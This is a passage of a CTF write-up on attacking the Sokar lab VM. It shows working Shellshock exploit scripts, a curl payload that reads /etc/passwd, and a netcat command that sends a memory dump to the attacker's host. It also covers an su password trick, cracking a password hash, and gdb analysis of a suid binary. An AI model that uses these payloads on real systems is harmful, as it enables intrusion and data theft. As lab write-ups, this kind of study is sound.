2: print \u0026#34; * Usage %s\u0026lt;cmd\u0026gt;\u0026#34; % sys.argv[0] sys.exit(1) # vuln@ curl -i -X OPTIONS -H \u0026#34;User-Agent: () { :;};echo;/bin/cat /etc/passwd\u0026#34; \u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34; command = sys.argv[1].strip() print \u0026#34; * Executing %s\\n\u0026#34; % command # prepare the sploit header headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;() { :;};echo;%s\u0026#34; % command } print requests.get(\u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34;, headers=headers).text.strip() Using the above script, I could now just do python shock.py \u0026quot;/usr/bin/id\u0026quot;:\nleonjza@kali/sokar $ python shock.py \u0026#34;/usr/bin/id\u0026#34; * Executing /usr/bin/id uid=48(apache) gid=48(apache) groups=48(apache) During the initial enumeration phase, I tried to build myself a reverse shell. I confirmed that netcat was available and that apache was allowed to execute it, however, all of my attempts failed. SELinux was disabled so that was not the problem. Eventually I started wondering about egress fire-walling and decided that it was time for a outbound port scan!\nI was able to write to /tmp, but for some reason I was having a really hard time getting newlines and quotes escaped so that I could essentially echo \u0026lt;script source\u0026gt; \u0026gt;\u0026gt; /tmp/port_scan.py. Eventually I resorted to writing a helper called transfer.py that was used to copy files over from my local Kali Linux install to the Sokar VM. In the long run, this made it really easy to copy scripts and tools over to Sokar:\n#!/usr/bin/python # Sokar Shellshock File Transfer # 2015 Leon Jacobs import requests import sys import os import binascii def do_command(command): headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;() { :;};echo;%s\u0026#34; % command } r = requests.options(\u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34;, headers=headers) if not r.status_code == 200: raise Exception(\u0026#34; ! Command %sfailed\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 3: print \u0026#34; * Usage %s\u0026lt;source\u0026gt; \u0026lt;destination\u0026gt;\u0026#34; % sys.argv[0] sys.exit(1) # vuln@ curl -i -X OPTIONS -H \u0026#34;User-Agent: () { :;};echo;/bin/cat /etc/passwd\u0026#34; \u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34; source = sys.argv[1].strip() destination = sys.argv[2].strip() print \u0026#34; * Starting transfer of local \u0026#39;%s\u0026#39; to remote \u0026#39;%s\u0026#39;\u0026#34; % (source, destination) hex_destination_file = \u0026#34;/tmp/\u0026#34; + binascii.b2a_hex(os.urandom(15)) + \u0026#34;.txt\u0026#34; print \u0026#34; * Temp file on remote will be: %s\u0026#34; % hex_destination_file # prepare a hex version of the local file with open(source) as f: source_file = f.read() # encode and split the source into chunks of 60 source_file = source_file.encode(\u0026#39;hex\u0026#39;) source_data = {} source_data = [source_file[i:i+60] for i in range(0, len(source_file), 60)] print \u0026#34; * Transferring %dchunks to %s\u0026#34; % (len(source_data), hex_destination_file) iteration = 1 for chunk in source_data: # check if it is start of file or append if iteration == 1: append = \u0026#34;\u0026gt;\u0026#34; else: append = \u0026#34;\u0026gt;\u0026gt;\u0026#34; # prepare the command and run it command = \u0026#34;echo \u0026#39;%s\u0026#39; %s%s\u0026#34; % (chunk, append, hex_destination_file) do_command(command) print \u0026#34; * Chunk %d/%dtransferred\u0026#34; % (iteration, len(source_data)) iteration += 1 print \u0026#34; * Decoding hex on remote\u0026#34; command = \u0026#34;/usr/bin/xxd -r -p %s\u0026gt; %s\u0026#34; % (hex_destination_file, destination) do_command(command) print \u0026#34; * Cleaning up temp file %s\u0026#34; % hex_destination_file command = \u0026#34;/bin/rm -f %s\u0026#34; % hex_destination_file do_command(command) print \u0026#34; * Local \u0026#39;%s\u0026#39; transferred to remote \u0026#39;%s\u0026#39;\u0026#34; % (source, destination) egress firewalls le-suck With the file transfer script done, I coded up a small \u0026lsquo;port scanner\u0026rsquo; (though all it really does is try to connect to a port and move on to the next within 0.1s):\n#!/usr/bin/python # Sokar Egress Port Scanner # 2015 Leon Jacobs import socket for port in xrange(1, 65535): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.1) print \u0026#34;Trying port %d\u0026#34; % port sock.connect_ex((\u0026#34;192.168.217.174\u0026#34;, port)) sock.close() \u0026hellip; and transferred it to Sokar using my transfer.py script:\nleonjza@kali/sokar $ python transfer.py port_scan.py /tmp/port_scan.py * Starting transfer of local \u0026#39;port_scan.py\u0026#39; to remote \u0026#39;/tmp/port_scan.py\u0026#39; * Temp file on remote will be: /tmp/cf8ca858a40ecf06741824362c37df.txt * Transferring 10 chunks to /tmp/cf8ca858a40ecf06741824362c37df.txt * Chunk 1/10 transferred * Chunk 2/10 transferred * Chunk 3/10 transferred * Chunk 4/10 transferred * Chunk 5/10 transferred * Chunk 6/10 transferred * Chunk 7/10 transferred * Chunk 8/10 transferred * Chunk 9/10 transferred * Chunk 10/10 transferred * Decoding hex on remote * Cleaning up temp file /tmp/cf8ca858a40ecf06741824362c37df.txt * Local \u0026#39;port_scan.py\u0026#39; transferred to remote \u0026#39;/tmp/port_scan.py\u0026#39; I also opened up a tcpdump on my local Kali Linux VM, filtering out tcp/591 as well as arp traffic:\nleonjza@kali/sokar $ tcpdump -i eth1 not arp and not port 591 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes Finally, I fired the scanner off using the previously developed shock.py script:\nleonjza@kali/sokar $ python shock.py \u0026#34;/usr/bin/python /tmp/port_scan.py\u0026#34; * Executing /usr/bin/python /tmp/port_scan.py I waited\u0026hellip; a really long time. I know poking at 65535 ports takes quite some time too so off I went to do other things. After quite some time, I returned to Sokar, to find that the tcpdump had no responses. I fiddled around with the scripts to check that I did not make a mistake but eventually I had to come to the conclusion that all outbound traffic is being filtered. Drat.\nbynarr the fruit Not having an interactive shell was not the end of the world. Instead of fussing about that I decided to move on to poking around some more. Enumeration revealed that /home/bynarr was readable to me. In there was what looked like a kernel module lime.ko and a script called lime to insmod it. Both were owned by root:\nleonjza@kali/sokar $ python shock.py \u0026#34;/bin/cat /home/bynarr/lime\u0026#34; * Executing /bin/cat /home/bynarr/lime #!/bin/bash echo \u0026#34;\u0026#34;\u0026#34; ========================== Linux Memory Extractorator ========================== \u0026#34; echo \u0026#34;LKM, add or remove?\u0026#34; echo -en \u0026#34;\u0026gt; \u0026#34; read -e input if [ $input == \u0026#34;add\u0026#34; ]; then /sbin/insmod /home/bynarr/lime.ko \u0026#34;path=/tmp/ram format=raw\u0026#34; elif [ $input == \u0026#34;remove\u0026#34; ]; then /sbin/rmmod lime else echo \u0026#34;Invalid input, burn in the fires of Netu!\u0026#34; fi I knew that the chances were slim that it would allow me to run insmod as apache, but ofc I tried running the script regardless. Due to the fact that the file called /tmp/ram was not created after running python shock.py \u0026quot;echo \\\u0026quot;add\\\u0026quot; | /home/bynarr/lime\u0026quot;, I assumed it failed.\nLater, some more enumeration finally got me to /var/spool/mail/bynarr with a message with the following contents:\nleonjza@kali/sokar $ python shock.py \u0026#34;/bin/cat /var/spool/mail/bynarr\u0026#34; * Executing /bin/cat /var/spool/mail/bynarr Return-Path: \u0026lt;root@sokar\u0026gt; Delivered-To: bynarr@localhost Received: from root by localhost To: \u0026lt;bynarr@sokar\u0026gt; Date: Thu, 13 Nov 2014 22:04:31 +0100 Subject: Welcome Dear Bynarr. Welcome to Sokar Inc. Forensic Development Team. A user account has been setup for you. UID 500 (bynarr) GID 500 (bynarr) 501 (forensic) Password \u0026#39;fruity\u0026#39;. Please change this ASAP. Should you require, you\u0026#39;ve been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis. All the best in your new role! -Sokar- I confirmed that bynarr was in the groups mentioned in the mail:\nleonjza@kali/sokar $ python shock.py \u0026#34;/usr/bin/id bynarr\u0026#34; * Executing /usr/bin/id bynarr uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic) What confused me here was the mention of \u0026ldquo;outbound ephemeral port access on 51242\u0026rdquo;. I reduced my port scanners range to only scan from 51240 to 51250 to confirm this. I transferred the updated port scanner to Sokar, opened up a new tcpdump session and waited anxiously. tcp/51242 outbound still appeared to be closed.\nOf course, the most valuable piece of information was definitely the password fruity. Now, remember, I have a limited shell. Not a interactive one. I have been interfacing with Sokar only via python scripts which are executing commands via Shellshock HTTP requests.\nEssentially, the easiest way for me to become bynarr (assuming fruity really is the password), would be to su right? Sounds like a 2 sec job. Well, it wasn’t :( Instead, I got caught up in a whole bunch of interesting situations where su expects a password via stdin, requires a valid tty (which I don’t have) and will spawn a shell for me to interact with (which I can\u0026rsquo;t). Quite some time later, I got closer to becoming bynarr with something like echo fruity | su bynarr. To add to the pain, my shellshock shell also did not have a proper environment, so I had to prefix most commands with their full paths. Luckily though $(which id) came in very handy and saved some time. In retrospect, I could have probably just exported PATH as required, but heh.\nFast forward some time, I came across this SANS blogpost, which details on the topic of some \u0026lsquo;stealthy\u0026rsquo; su shells. Most importantly, the example of (sleep 1; echo password) | python -c \u0026quot;import pty; pty.spawn(['/bin/su','-c','whoami']);\u0026quot; got me the closest to bynarr. Toying around with this a little, I realized that for some reason, the ( and ) characters were messing around, so I replaced that section with some python too. After a whole bunch attempts, I eventually got this to work:\n/usr/bin/python -c \u0026quot;import time; time.sleep(1); print 'fruity'\u0026quot; | /usr/bin/python -c \u0026quot;import pty; pty.spawn(['/bin/su','-c','id', 'bynarr']);\u0026quot;\n(Basically, spawn a tty; attempt to su specifying the command to run with -c, then 1 second later, echo fruity to the Password prompt and execute id as bynarr)\nleonjza@kali/sokar $ python shock.py \u0026#34;/usr/bin/python -c \\\u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\\\u0026#34; | /usr/bin/python -c \\\u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;id\u0026#39;, \u0026#39;bynarr\u0026#39;]);\\\u0026#34;\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;id\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; Password: uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic) :D As this is actually a Shellshock request, the full User-Agent header therefore was:\n() { :;};echo;/usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;id\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; Again, constructing that every time I want to execute something as bynarr would have been le-suck, so I made another wrapper script:\n#!/usr/bin/python # Sokar \u0026#39;bynarr\u0026#39; command execution # 2015 Leon Jacobs import requests import sys if len(sys.argv) \u0026lt; 2: print \u0026#34; * Usage %s\u0026lt;cmd\u0026gt;\u0026#34; % sys.argv[0] sys.exit(1) command = sys.argv[1].strip() payload = \u0026#34;\u0026#34;\u0026#34;/usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;%s\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; \u0026#34;\u0026#34;\u0026#34; % command print \u0026#34; * Executing %s\\n\u0026#34; % payload # prepare the sploit header headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;() { :;};echo;%s\u0026#34; % payload } print requests.get(\u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34;, headers=headers).text.strip() All I have to do to get the output of id is provide it as a argument to bynarr.py:\nleonjza@kali/sokar $ python bynarr.py \u0026#34;id\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;id\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; Password: uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic) the scary linux memory extractor With command access as bynarr and remembering the mention of tcp/51242 outbound connectivity, I once more try and run the port scanner that got copied to /tmp:\nleonjza@kali/sokar $ python bynarr.py \u0026#34;/usr/bin/python /tmp/port_scan.py\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;/usr/bin/python /tmp/port_scan.py\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; Password: Trying port 51240 Trying port 51241 Trying port 51242 Trying port 51243 Trying port 51244 Trying port 51245 Trying port 51246 Trying port 51247 Trying port 51248 Trying port 51249 Checking the tcpdump output of this run\u0026hellip;:\nleonjza@kali/sokar $ tcpdump -i eth1 not arp and not port 591 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 07:33:43.178113 IP 192.168.217.163.40371 \u0026gt; 192.168.217.174.51242: Flags [S], seq 594732851, win 14600, options [mss 1460,sackOK,TS val 2274844 ecr 0,nop,wscale 4], length 0 07:33:43.178129 IP 192.168.217.174.51242 \u0026gt; 192.168.217.163.40371: Flags [R.], seq 0, ack 594732852, win 0, length 0 \u0026hellip; I finally see something coming out of Sokar! So bynarr is able to talk out on tcp/51242. Wut. Taking a few moments to think about this, I remembered that iptables is able to filter by user id using the owner module. At this stage, this was the only thing that made sense why apache would not be able to talk out on this port, but bynarr can.\nSo with that out the way, it was time to focus on this lime thing. bynarr was allowed to run /home/bynarr/lime as root via sudo without a password (as I suspected for the insmod):\nleonjza@kali/sokar $ python bynarr.py \u0026#34;sudo -l\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;sudo -l\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; Password: Matching Defaults entries for bynarr on this host: !requiretty, visiblepw, always_set_home, env_reset, env_keep=\u0026#34;COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS\u0026#34;, env_keep+=\u0026#34;MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\u0026#34;, env_keep+=\u0026#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\u0026#34;, env_keep+=\u0026#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\u0026#34;, env_keep+=\u0026#34;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\u0026#34;, secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin User bynarr may run the following commands on this host: (ALL) NOPASSWD: /home/bynarr/lime I had no freaking idea what lime even really is, so, to the Gooooogles I went and came across this: https://github.com/504ensicsLabs/LiME. A forensics tool thingy thing. It seems like I will get to crawl through a dump of the current memory. Cool ;p\nI ran the script to insmod the lime.ko, this time with sudo:\nleonjza@kali/sokar $ python bynarr.py \u0026#34;echo \\\u0026#34;add\\\u0026#34; | sudo /home/bynarr/lime\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;echo \u0026#34;add\u0026#34; | sudo /home/bynarr/lime\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; Password: ========================== Linux Memory Extractorator ========================== LKM, add or remove? \u0026gt; I checked /tmp for the existence of the ram file and it was present. Looks like it worked :D. A quick note here. When I imported the VM initially, I upped the memory to 2GB. It was set to only have 256Mb by default which I thought was a little low. Sokar has limited disk space, so I was not getting the full memory dump. When I eventually noticed this, I reduced it back to the initial 256Mb and worked from there.\nRemembering the outbound port access, I opened a netcat listener on my local Kali linux to redirect a incoming file to a local ram file with nc -lvp 51242 \u0026gt; ram. Then, using my wrapper script bynarr.py again, I redirected the /tmp/ram file out over the netcat connection with: python bynarr.py \u0026quot;/usr/bin/nc 192.168.217.174 51242 \u0026lt; /tmp/ram\u0026quot;. I now had a memory dump of Sokar on my local Kali Linux.\nIt was at this stage that I went down the wrong rabbit hole. Volatility was the first thing that came to mind when I saw this speak of memory dumps and what not. Having always just had this on my todo list, I figured that this was the perfect opportunity to finally give it a spin. I followed most of the docs to try and match the exact same kernel version as Sokar had (I have a number of CentOS VM\u0026rsquo;s) and prepared a profile as required. Short version, it failed. I was not able to get Volatility to give me anything useful. Eventually I reconsidered my approach and went back to trusty \u0026lsquo;ol strings.\nI had to think a bit about what could possibly be useful in memory for me now. I noticed the user apophis had a home directory that I have not yet been able to access, so I promptly grepped the ram image for this user:\nleonjza@kali/sokar $ strings ram | grep apophis [... snip ...] apophis:[snip]0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7::: \u0026hellip; wut. Why\u0026hellip; wait a sec. Why the heck is a password hash in memory now. Dont think there has been any activity for this user yet\u0026hellip; but clearly I don’t understand half of the technicalities here :( But hey. Lets run it through john:\nleonjza@kali/sokar $ john passwd --wordlist=/usr/share/wordlists/rockyou.txt Warning: detected hash type \u0026#34;sha512crypt\u0026#34;, but the string is also recognized as \u0026#34;crypt\u0026#34; Use the \u0026#34;--format=crypt\u0026#34; option to force loading these as that type instead Loaded 1 password hash (sha512crypt [32/32]) overdrive (apophis) guesses: 1 time: 0:00:01:51 DONE (Sat Jan 31 20:35:42 2015) c/s: 327 trying: parati - nicole28 Use the \u0026#34;--show\u0026#34; option to display all of the cracked passwords reliably apophis:overdrive.\nbuild the clone to the hook To get command execution as apophis.py I copied the bynarr.py script to make apophis.py, changing the username and the password.\nleonjza@kali/sokar $ python apophis.py \u0026#34;id\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;id\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: uid=501(apophis) gid=502(apophis) groups=502(apophis) There we go! Command execution as apophis :) In /home/apophis there was a suid (for root) binary called build:\nleonjza@kali/sokar $ python apophis.py \u0026#34;ls -lah /home/apophis\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;ls -lah /home/apophis\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: total 36K drwx------ 2 apophis apophis 4.0K Jan 2 20:12 . drwxr-xr-x. 4 root root 4.0K Dec 30 19:20 .. -rw------- 1 apophis apophis 9 Feb 2 20:55 .bash_history -rw-r--r-- 1 apophis apophis 18 Feb 21 2013 .bash_logout -rw-r--r-- 1 apophis apophis 176 Feb 21 2013 .bash_profile -rw-r--r-- 1 apophis apophis 124 Feb 21 2013 .bashrc -rwsr-sr-x 1 root root 8.3K Jan 2 17:49 build I thought I would copy this build binary off the box as I don’t exactly have a nice interactive shell to work with yet. apophis was also not able to to connect via tcp/51242 outbound, which further confirmed my suspicions on the user module being used in iptables. I copied the binary to /tmp/build and pushed it out via netcat as bynarr (using my helper script) towards my local Kali linux install. Finally I had build locally to play with.\nI later noticed it was a 64bit binary, so I had to move it over to my 64bit install of Kali Linux to inspect further. Running it asked you if you wanted to \u0026lsquo;build?':\nleonjza@kali/sokar $ ./build Build? (Y/N) Y Cloning into \u0026#39;/mnt/secret-project\u0026#39;... ssh: Could not resolve hostname sokar-dev:: Name or service not known fatal: The remote end hung up unexpectedly That looks very much like the output of a git clone attempt. Knowing what the binary expects now, I continued to run this on Sokar via my Shellshock wrapper for apophis:\nleonjza@kali/sokar $ python apophis.py \u0026#34;echo Y | /home/apophis/build\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;echo Y | /home/apophis/build\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: Cloning into \u0026#39;/mnt/secret-project\u0026#39;... ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. Build? (Y/N) The same hostname resolution failure occurred. Hmm. Thinking about this, it looks like it is trying to clone a repository (as root??) to /mnt/secret-project from sokar-dev which does not resolve.\nthe impossible b0f I was very unsure about what the next move should be. Playing around some more with the binary, it appeared as though there may be a buffer overflow problem when providing a answer to build.:\nleonjza@kali/sokar $ ./build Build? (Y/N) YY *** buffer overflow detected ***: ./build terminated ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x2b53e6df5fe7] /lib/x86_64-linux-gnu/libc.so.6(+0xefea0)[0x2b53e6df4ea0] /lib/x86_64-linux-gnu/libc.so.6(__gets_chk+0x195)[0x2b53e6df4df5] ./build(main+0xea)[0x2b53e68e29d9] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x2b53e6d23ead] ./build(+0x7d9)[0x2b53e68e27d9] ======= Memory map: ======== 2b53e68e2000-2b53e68e3000 r-xp 00000000 fe:00 667555 /root/sokar/build 2b53e68e3000-2b53e68e7000 rwxp 00000000 00:00 0 2b53e6900000-2b53e6902000 rwxp 00000000 00:00 0 2b53e6ae2000-2b53e6ae3000 rwxp 00000000 fe:00 667555 /root/sokar/build 2b53e6ae3000-2b53e6b03000 r-xp 00000000 fe:00 532890 /lib/x86_64-linux-gnu/ld-2.13.so 2b53e6d02000-2b53e6d03000 r-xp 0001f000 fe:00 532890 /lib/x86_64-linux-gnu/ld-2.13.so 2b53e6d03000-2b53e6d04000 rwxp 00020000 fe:00 532890 /lib/x86_64-linux-gnu/ld-2.13.so 2b53e6d04000-2b53e6d05000 rwxp 00000000 00:00 0 2b53e6d05000-2b53e6e87000 r-xp 00000000 fe:00 534538 /lib/x86_64-linux-gnu/libc-2.13.so 2b53e6e87000-2b53e7087000 ---p 00182000 fe:00 534538 /lib/x86_64-linux-gnu/libc-2.13.so 2b53e7087000-2b53e708b000 r-xp 00182000 fe:00 534538 /lib/x86_64-linux-gnu/libc-2.13.so 2b53e708b000-2b53e708c000 rwxp 00186000 fe:00 534538 /lib/x86_64-linux-gnu/libc-2.13.so 2b53e708c000-2b53e7091000 rwxp 00000000 00:00 0 2b53e7091000-2b53e70a6000 r-xp 00000000 fe:00 523276 /lib/x86_64-linux-gnu/libgcc_s.so.1 2b53e70a6000-2b53e72a6000 ---p 00015000 fe:00 523276 /lib/x86_64-linux-gnu/libgcc_s.so.1 2b53e72a6000-2b53e72a7000 rwxp 00015000 fe:00 523276 /lib/x86_64-linux-gnu/libgcc_s.so.1 2b53e886b000-2b53e888c000 rwxp 00000000 00:00 0 [heap] 7fff340b7000-7fff340d8000 rwxp 00000000 00:00 0 [stack] 7fff341eb000-7fff341ed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] [1] 18571 abort ./build I slapped build into gdb to take a closer look at the potential overflow as well as the security features that build has been compiled with:\nleonjza@kali/sokar $ gdb -q ./build Reading symbols from /root/sokar/build...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : disabled PIE : ENABLED RELRO : disabled :O The CANARY explains the failure in __fortify_fail. Disassembly of the main function reveals a call to __gets_chk which is responsible for the canary validation:\ngdb-peda$ disass main Dump of assembler code for function main: [... snip ...] 0x00000000000009cc \u0026lt;+221\u0026gt;: mov esi,0x2 0x00000000000009d1 \u0026lt;+226\u0026gt;: mov rdi,rbx 0x00000000000009d4 \u0026lt;+229\u0026gt;: call 0x760 \u0026lt;__gets_chk@plt\u0026gt; 0x00000000000009d9 \u0026lt;+234\u0026gt;: lea rsi,[rbp-0x30] 0x00000000000009dd \u0026lt;+238\u0026gt;: mov rdi,rbx 0x00000000000009e0 \u0026lt;+241\u0026gt;: call 0x790 \u0026lt;strcmp@plt\u0026gt; 0x00000000000009e5 \u0026lt;+246\u0026gt;: test eax,eax [... snip ...] It is possible that the original source was using gets() without a bounds check, but is compiled with SSP. This coupled with the fact that it is a 64bit binary and Sokar having ASLR enabled, made my head hurt. In fact, I was very demotivated at this stage as exploitation under these scenarios is very difficult.\nI fiddled around a little more with the binary, and inspected the call to encryptDecrypt:\ngdb-peda$ disass encryptDecrypt Dump of assembler code for function encryptDecrypt: 0x00000000000008ac \u0026lt;+0\u0026gt;: mov rdx,rdi 0x00000000000008af \u0026lt;+3\u0026gt;: mov r9d,0x0 0x00000000000008b5 \u0026lt;+9\u0026gt;: mov r11,0xffffffffffffffff 0x00000000000008bc \u0026lt;+16\u0026gt;: mov r10,rdi 0x00000000000008bf \u0026lt;+19\u0026gt;: mov eax,0x0 0x00000000000008c4 \u0026lt;+24\u0026gt;: jmp 0x8d6 \u0026lt;encryptDecrypt+42\u0026gt; 0x00000000000008c6 \u0026lt;+26\u0026gt;: movzx ecx,BYTE PTR [rdx+r8*1] 0x00000000000008cb \u0026lt;+31\u0026gt;: xor ecx,0x49 0x00000000000008ce \u0026lt;+34\u0026gt;: mov BYTE PTR [rsi+r8*1],cl 0x00000000000008d2 \u0026lt;+38\u0026gt;: add r9d,0x1 0x00000000000008d6 \u0026lt;+42\u0026gt;: movsxd r8,r9d 0x00000000000008d9 \u0026lt;+45\u0026gt;: mov rcx,r11 0x00000000000008dc \u0026lt;+48\u0026gt;: mov rdi,r10 0x00000000000008df \u0026lt;+51\u0026gt;: repnz scas al,BYTE PTR es:[rdi] 0x00000000000008e1 \u0026lt;+53\u0026gt;: not rcx 0x00000000000008e4 \u0026lt;+56\u0026gt;: sub rcx,0x1 0x00000000000008e8 \u0026lt;+60\u0026gt;: cmp r8,rcx 0x00000000000008eb \u0026lt;+63\u0026gt;: jb 0x8c6 \u0026lt;encryptDecrypt+26\u0026gt; 0x00000000000008ed \u0026lt;+65\u0026gt;: repz ret End of assembler dump. This together with pseudo code generated by Hopper helped me understand the encryptDecrypt function running a xor with I as the key over a string.\nvoid encryptDecrypt(int arg0, int arg1) { rsi = arg1; rdx = arg0; LODWORD(r9) = 0x0; r10 = arg0; do { r8 = sign_extend_64(LODWORD(r9)); asm{ repne scasb }; if (r8 \u0026gt;= !0xffffffffffffffff - 0x1) { break; } *(int8_t *)(rsi + r8) = LOBYTE(LODWORD(*(int8_t *)(rdx + r8) \u0026amp; 0xff) ^ 0x49); LODWORD(r9) = LODWORD(r9) + 0x1; } while (true); return; } Running the binary in gdb and setting a breakpoint before the system() call, we are able to inspect the 64bit registers, which cleanly reveal the encrypted and decrypted versions of the string to be executed.\nsokar # gdb -q ./build gdb-peda$ r Build? (Y/N) n OK :( [Inferior 1 (process 4450) exited with code 06] Warning: not running or target is remote gdb-peda$ b *0x0000555555554a38 Breakpoint 1 at 0x555555554a38 gdb-peda$ r Build? (Y/N) Y [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffe740 (\u0026#34;/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) RCX: 0x7ffff7b26e99 (\u0026lt;setreuid+25\u0026gt;: cmp rax,0xfffffffffffff000) RDX: 0x7fffffffe7a0 (\u0026#34;f\u0026lt;:;f+ \u0026#39;f. =i*%\u0026amp;\u0026#39;,i::!sff;\u0026amp;\u0026amp;=\\t:\u0026amp;\\\u0026#34;(;d-,?sf;\u0026amp;\u0026amp;=f:,*;,=d9;\u0026amp;#,*=if$\u0026#39;=f:,*;,=d9;\u0026amp;#,*=f\u0026#34;) RSI: 0x0 RDI: 0x7fffffffe740 (\u0026#34;/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) RBP: 0x7fffffffe830 --\u0026gt; 0x0 RSP: 0x7fffffffe740 (\u0026#34;/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) RIP: 0x555555554a38 (\u0026lt;main+329\u0026gt;: mov eax,0x0) R8 : 0x51 (\u0026#39;Q\u0026#39;) R9 : 0x51 (\u0026#39;Q\u0026#39;) R10: 0x0 R11: 0x246 R12: 0x7fffffffe7a0 (\u0026#34;f\u0026lt;:;f+ \u0026#39;f. =i*%\u0026amp;\u0026#39;,i::!sff;\u0026amp;\u0026amp;=\\t:\u0026amp;\\\u0026#34;(;d-,?sf;\u0026amp;\u0026amp;=f:,*;,=d9;\u0026amp;#,*=if$\u0026#39;=f:,*;,=d9;\u0026amp;#,*=f\u0026#34;) R13: 0x7fffffffe910 --\u0026gt; 0x1 R14: 0x0 R15: 0x0 